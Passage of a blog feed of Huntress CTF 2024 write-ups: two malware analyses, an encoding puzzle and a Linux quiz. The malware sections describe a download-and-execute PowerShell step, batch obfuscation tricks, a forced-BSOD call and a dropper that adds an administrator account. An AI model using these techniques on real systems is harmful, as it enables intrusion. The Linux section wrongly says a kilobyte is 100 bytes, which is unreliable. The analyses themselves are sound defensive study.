&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decoded base64&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;On decoding the argument, we can observe that it uses the &lt;code&gt;iwr&lt;/code&gt; (&lt;code&gt;Invoke-WebRequest&lt;/code&gt;) cmdlet to download the contents pointed by the link and save it to a file &lt;code&gt;.cmd&lt;/code&gt; in the temp folder. Finally this &lt;code&gt;.cmd&lt;/code&gt; file is executed.&lt;/p&gt;
&lt;p&gt;Collecting the contents of the link downloaded a &lt;code&gt;powershell.zip&lt;/code&gt; but it was in fact a batch script. So I renamed it to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/raw_payload.bat&#34; &gt;raw_payload.bat&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For some reason I don&amp;rsquo;t know, this batch file when opened with text editors showed garbled text, but when I used &lt;code&gt;cat&lt;/code&gt;  utility from the terminal it displayed the batch script. My theory was that it is because of the first two characters of the file where not recognizable. When I removed it and put the rest of the script in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/payload.bat&#34; &gt;payload.bat&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There were a lot of Russian comments (or I should say quotes) in the file. So I put together &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/cleanse.py&#34; &gt;cleanse.py&lt;/a&gt; to remove those commands and write the contents to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/payload%20cleaned.bat&#34; &gt;payload cleaned.bat&lt;/a&gt;. Now I had more visibility over the code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;start of deobfuscation&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I have seen this type of obfuscation before. So at the start of the script we can see a variable &lt;code&gt;ucbw&lt;/code&gt; to getting set as &lt;code&gt;set&lt;/code&gt;. Following it are lines that start with using the variable &lt;code&gt;ucbw&lt;/code&gt;. If we replace &lt;code&gt;ucbw&lt;/code&gt; as &lt;code&gt;set&lt;/code&gt; everywhere in the script, it is one step deobfuscating the script.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;space in&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The variable &lt;code&gt;qmy&lt;/code&gt; is not empty actually. It has a white space. So replace &lt;code&gt;%qmy%&lt;/code&gt; with a single whitespace in the script and replacing &lt;code&gt;%jxaa%&lt;/code&gt; with &lt;code&gt;=&lt;/code&gt;, we get:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;deob cont&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now we can keep on replacing variables with characters till we hit this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;different thing&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The expression &lt;code&gt;set /a rtoy=9161456 %% 9161359&lt;/code&gt; mean set the variable &lt;code&gt;rtoy&lt;/code&gt; with the resultant value of arithmetic expression &lt;code&gt;9161456 %% 9161359&lt;/code&gt;. &lt;code&gt;%%&lt;/code&gt; is the modulus operation. So rtoy will be assigned 97, in this case. Next up we have &lt;code&gt;cmd /c exit=%rtoy%&lt;/code&gt;. &lt;code&gt;cmd \c&lt;/code&gt; executes the command passed to it. And that command here is exit with the exit code specified by variable &lt;code&gt;rtoy&lt;/code&gt;. Next up &lt;code&gt;set ztq=%=exitcodeAscii%&lt;/code&gt;.  &lt;code&gt;%=exitcodeAscii%&lt;/code&gt; is an undocumented dynamic variable in windows, that for some reason returns the exit code of the last program as an ascii character.&lt;/p&gt;
&lt;p&gt;Putting them together, the second line executes a cmd exit command with a exit code and the next command gets that exit code as ascii. In ascii 97 maps to the character &amp;lsquo;a&amp;rsquo;.  Now the variable &lt;code&gt;%ztq%&lt;/code&gt; can be used whenever you need a character &amp;lsquo;a&amp;rsquo;. So essentially for the next many commands are just construction of alphabets, numericals and symbols.&lt;/p&gt;
&lt;p&gt;De-obfuscating all that yielded &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/payload%20deobfuscated.bat&#34; &gt;payload deobfuscated.bat&lt;/a&gt;. In that you will find another encoded powershell payload.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;base64 payload&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I copied that payload and put it in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/powershell%20base64.txt&#34; &gt;powershell base64.txt&lt;/a&gt; to decode the contents.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;ps1 payload&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I put the contents obtained in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/powershell%20payload.ps1&#34; &gt;powershell payload.ps1&lt;/a&gt; and modified it to make it easy on the eyes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;cs payload&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Looking at the powershell script, we can see another sort of code in the variable &lt;code&gt;$s&lt;/code&gt;. Since I spent some time with C#, I recognized it right away. So the code creates an compiler object, compiles the function &lt;code&gt;Shot&lt;/code&gt; in the class &lt;code&gt;X&lt;/code&gt; , then with a 1 out of 6 chance executes the function &lt;code&gt;Shot&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The function &lt;code&gt;Shot&lt;/code&gt; contains some areas of interest. It imports two functions from the &lt;code&gt;ntdll.dll&lt;/code&gt;. And does AES decrytion on some data. But after some time of research on the internet, I found out that &lt;code&gt;NtRaiseHardError&lt;/code&gt; is an undocumented API from windows, that can be used to force BSOD (Blue Screen of Death) errors. Effectively this will restart you operating system. So even if function &lt;code&gt;Shot&lt;/code&gt; is executed it crashes the OS before it reaches the decryption code.&lt;/p&gt;
&lt;p&gt;So I put &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/solve.cs&#34; &gt;solve.cs&lt;/a&gt; removing the DLL imports and put a writeline to output the decrypted content.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/10.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;And that indeed was the flag. Also if you don&amp;rsquo;t want to dabble with C#, then you can just copy the decryption data on cyberchef and obtain the flag that way as well.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/11.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag again&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Strange Calc</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-strange-calc/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-strange-calc/</guid>
        <description>&lt;h1 id=&#34;strange-calc&#34;&gt;Strange Calc
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;I got this new calculator app from my friend! But it&amp;rsquo;s really weird, for some reason it needs admin permissions to run??&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE: Archive password is &lt;code&gt;strange_calc&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/strange-calc/calc.zip&#34; &gt;calc.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Extracting the archive, we have a &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/strange-calc/calc.exe&#34; &gt;calc.exe&lt;/a&gt; that appears to be a PE executable. Running &lt;code&gt;file&lt;/code&gt; command on the executable proves that it is indeed a PE executable but also reveals that it is a UPX packed executable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;file output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://upx.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;UPX&lt;/a&gt; is a &amp;ldquo;packer&amp;rdquo; program that compresses executables making them effectively smaller. But since compression increases the entropy of the executable, or in other words garbles the contents in the executable, packers are used to sneak malwares and evade a number of security tools.&lt;/p&gt;
&lt;p&gt;We can use the &lt;code&gt;upx&lt;/code&gt; command line tool to unpack a executable using the command &lt;code&gt;upx -d &amp;lt;executable&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I unpacked the binary to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/strange-calc/calc_unpacked.exe&#34; &gt;calc_unpacked.exe&lt;/a&gt;, but this will turn out to be not necessary at all.&lt;/p&gt;
&lt;p&gt;I ran the strings utility on the executable trying to find some clues to deduce what kind of functionality the program has. While the unpacked version provided with function names used in the program they weren&amp;rsquo;t enough to make things clear. But then I saw a XML amidst the outputs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;xml output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It seemed to be a manifest of some kind, and has the name &amp;ldquo;AutoIT&amp;rdquo; in it. I actually had no idea what it was. I never even heard of it at that point. A quick internet search provided the needed details. &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;AutoIT&lt;/a&gt; is a scripting language that can be used to automate windows UI and things.&lt;/p&gt;
&lt;p&gt;So that led to another question &amp;ldquo;What is a script doing in a executable?&amp;rdquo;. That was also quickly answered with a few more searches and I even found a tool called &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;AutoIt-Ripper&lt;/a&gt; that can extract AutoIT scripts from executables.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;ripping script&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;found base64&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t understand what most of the code does, but the base64 string did catch my eye right away. So I decided to decode what it does.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decode base64&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t know what this was either. But the &lt;code&gt;#@~^&lt;/code&gt; at the start and &lt;code&gt;^#~@&lt;/code&gt; at the end strongly suggested this is not random data. I found the start in &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Wikipedia&amp;rsquo;s list of file signatures&lt;/a&gt; and it seems it is encoded VBScript. If it&amp;rsquo;s encoded there must be ways to decode it.&lt;/p&gt;
&lt;p&gt;After searching for a little I found several decoders for the job. Like &lt;a class=&#34;link&#34; href=&#34;https://master.ayra.ch/vbs/vbs.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;this&lt;/a&gt; one, a &lt;a class=&#34;link&#34; href=&#34;https://github.com/JohnHammond/vbe-decoder&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;vbe-decoder&lt;/a&gt; repo from the challenge author himself and even cyberchef had a recipe for it. I decided to go with cyberchef for the job.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decode jse&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Decoding the script, I noticed that it is not VBScript, but JavaScript. I put on a JS beautifier to read the code better. I put the code in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/strange-calc/decoded.js&#34; &gt;decoded.js&lt;/a&gt;. The function does some decoding stuff, but I was more interested in the part below the function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;interesting stuff&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I did know what was in variable &lt;code&gt;m&lt;/code&gt; though.  This is called &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Uuencoding&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;uuencoding&lt;/a&gt;. This is another binary to text encoding like base64 but was first devised to transfer data between unix machines. Hence the name u-u-encoding. So the script has function &lt;code&gt;a&lt;/code&gt; to decode the data, create a new user LocalAdministrator, use the decoded data as password, add the user to administrator group and then run calc.exe (again I guess).&lt;/p&gt;
&lt;p&gt;So it seems straightforward right? Decode the uuencoding and we should probably have the flag right? Well, yes but no. The encoded data in the javascript is not standard encoding. So only function &lt;code&gt;a&lt;/code&gt; can decode it. So I put the function in my browser&amp;rsquo;s javascript runtime and used &lt;code&gt;console.log&lt;/code&gt; to print the output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;browser no output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;No output? How? I know this was crazy thinking but I thought &amp;ldquo;Perhaps it will only work on a windows runtime&amp;rdquo;. The return value will be the password of the user LocalAdministrator. So if I execute calc.exe in a virtual machine and then extract password from the account, I could have the return value.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;no password&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Guess what? The account was indeed created after I executed it, but it had no password. So I thought I went down the wrong rabbit hole and started performing dynamic analysis with &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-fakenet-ng&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;flare-fakenet&lt;/a&gt;, ProcMon, x64dbg and quite others. But nothing seemed to make much sense.&lt;/p&gt;
&lt;p&gt;After sometime I decided to take good look at the function code. And then it caught my eye.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/10.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;find it?&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The function returns only a substring of the decoded string. So what was in the entire string? I then added &lt;code&gt;console.log(c)&lt;/code&gt; before the return statement and ran the code again in my browser&amp;rsquo;s runtime.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strange-calc/11.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So yeah there was the flag. I was literally looking at it the whole time but it still managed to evade.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Miscellaneous - Base-p-</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-base-p/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-base-p/</guid>
        <description>&lt;h1 id=&#34;base-p-&#34;&gt;Base-p-
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: Izzy Spering&lt;/p&gt;
&lt;p&gt;That looks like a weird encoding, I wonder what it&amp;rsquo;s based on.&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base-p/based.txt&#34; &gt;based.txt&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The attachment is a text file. Opening it, the contents were in a language I didn&amp;rsquo;t know.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;contents of based&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I tried to translate the contents using google translate which detected it to be Cantonese. The title suggest some sort of base encoding so does the challenge description.&lt;/p&gt;
&lt;p&gt;I was looking for encodings specifically base encodings that outputs such characters. Incidentally, I stumbled upon several writeups from Huntress 2023 challenge baseffff+1 such as this &lt;a class=&#34;link&#34; href=&#34;https://github.com/ThisGuyNeedsABeer/Huntress-CTF-2023/tree/main/baseffff&amp;#43;1_COMPLETED&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;one&lt;/a&gt; . And it seems the challenge text followed a encoding base65536. It seemed similar to the one I have now.&lt;/p&gt;
&lt;p&gt;I found a &lt;a class=&#34;link&#34; href=&#34;https://www.better-converter.com/Encoders-Decoders/Base65536-Decode&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;online decoder&lt;/a&gt; that decodes base65536. So I tried it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;online decoder&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It seems that now we just have a plain base64 encoded data. I put the contents in a file &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base-p/unbased.txt&#34; &gt;unbased.txt&lt;/a&gt;. So decoding base64 data, we have some more data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decoded base64&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;At first I couldn&amp;rsquo;t make sense of what this is. But the &amp;lsquo;mg&amp;rsquo; at the start of the file made me think it must be a file signature. So I ran the output through file utility.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;detect file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So this is a gunzip archive. I put the output contents in a gunzip archive &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base-p/compressed.gz&#34; &gt;compressed.gz&lt;/a&gt;  and extracted it using the &lt;code&gt;gzip&lt;/code&gt; utility.  Extracting the contents gave a single file. Running file utility reveals it to be a PNG image.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decompressing&#34;
	
	
&gt;
&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;detecting file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Since it is a PNG file, I opened it to view it&amp;rsquo;s contents. It seems to be a strip of colors. What it was? I had no idea.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;file color strip&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I examined EXIF data, ran the strings utility, viewed the hex code of the image. After hours of scratching my head and searching for encodings in images and many more, nothing came up. Then I showed it to my friend, who jokingly told me what if the data is the hex codes of color of the images. But guess what, it made sense. There are 13 colors. 3 bytes for one color. 39 bytes of data. 39 characters. The flag usually contains 38 characters.&lt;/p&gt;
&lt;p&gt;So I used a color picker to read the hex color code of each color and put them in the file &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base-p/color_codes&#34; &gt;color_codes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;color codes&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now this makes a lot of sense if you know your hex codes. So we just need to convert this to string. That can be achieved by:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat color_codes | tr -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; | xxd -p -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base-p/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;There it was. Sometimes we just need a fresh perspective to look at things.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Miscellaneous - Linux Basics</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-linux-basics/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-linux-basics/</guid>
        <description>&lt;h1 id=&#34;linux-basics&#34;&gt;Linux Basics
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @aenygma&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;re expected to answer a series of questions to get the flag.&lt;/p&gt;
&lt;p&gt;To view the questions, and answer them, you&amp;rsquo;ll use the &lt;code&gt;answer&lt;/code&gt; tool.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Display questions:&lt;/strong&gt; &lt;code&gt;answer&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer a question:&lt;/strong&gt; &lt;code&gt;answer x&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is question number.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Spinning up the per-user instance for the challenge I was able to connect using netcat to a &amp;ldquo;shell&amp;rdquo;. Except it wasn&amp;rsquo;t a shell but a relay of data using &lt;a class=&#34;link&#34; href=&#34;https://linux.die.net/man/1/socat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;socat&lt;/a&gt;. Anyway once I got in I was greeted with a message and as per the challenge description I ran &lt;code&gt;answer&lt;/code&gt; to see the questions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;questions&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The entire challenge is easy if you know your way around a bash shell.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 0: What&#39;s your home directory?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Using pwd command I checked which directory I am currently at. I was in the home directory of a user named &lt;code&gt;user&lt;/code&gt;.  So the answer is &lt;code&gt;/home/user&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 0&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 1: Search the man pages. What command would you use to generate random permutations?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t refer the man pages, but a quick search on internet gave me the utility &lt;code&gt;shuf&lt;/code&gt;. It&amp;rsquo;s one of the core utilities of linux systems apparently. So that was the answer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 1&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 2: On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31&lt;/code&gt;
&lt;code&gt;Question 3: How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number.&lt;/code&gt;
&lt;code&gt;Question 4: What user owns the file /home/user/myfile.txt&lt;/code&gt;
&lt;code&gt;Question 5: What&#39;s the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now all these questions are centered around myfile.txt in the home directory. So all it takes is the output of &lt;code&gt;ls -l&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;For question 2, the date modified is Aug 29 1997 as seen from the output. Putting it in format required it is &lt;code&gt;1997-08-29&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For question 3, the size of the file myfile.txt is required. It is the 22200 number that is the size. But this is in bytes. 1 kilobyte is 100 bytes. So 22200 bytes is roughly 22.2 kilobytes. Since they asked to round to the nearest whole number, 22 is the answer.&lt;/p&gt;
&lt;p&gt;For question 4, the user that owns is the 3rd column in the output. The next to that is the group that owns the file. But since we just need the user who owns it, it is root user. So answer is root.&lt;/p&gt;
&lt;p&gt;For question 5, we need the 3-digit octal permission of the file. We don&amp;rsquo;t directly have the answer, but we can calculate it from the permissions column which is the first column. The first column is filled with 10 characters. Ignore the first character as it tells us what type of entry it is. The rest of it can be used to derive the octal permission. Each triplet in the 9 characters correspond to one digit in the octal. With r - 4, w - 2, x - 1 and -(dash) - 0. So the octal permission is (4+2+1)(4+1)(4) = 754. That&amp;rsquo;s the answer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 2,3,4,5&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 6: What is the user id of &#39;admin&#39;?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We can simply use the &lt;code&gt;id&lt;/code&gt; command to view the ID related to admin account. So according to the output, it is 1338.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 6&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 7: There is a user &#39;john&#39; on the system. Can they write to /home/user/myfile.txt? (yes/no)&lt;/code&gt;
&lt;code&gt;Question 8: Can the &#39;admin&#39; user execute /home/user/myfile.txt? (yes/no)&lt;/code&gt;&lt;/p&gt;
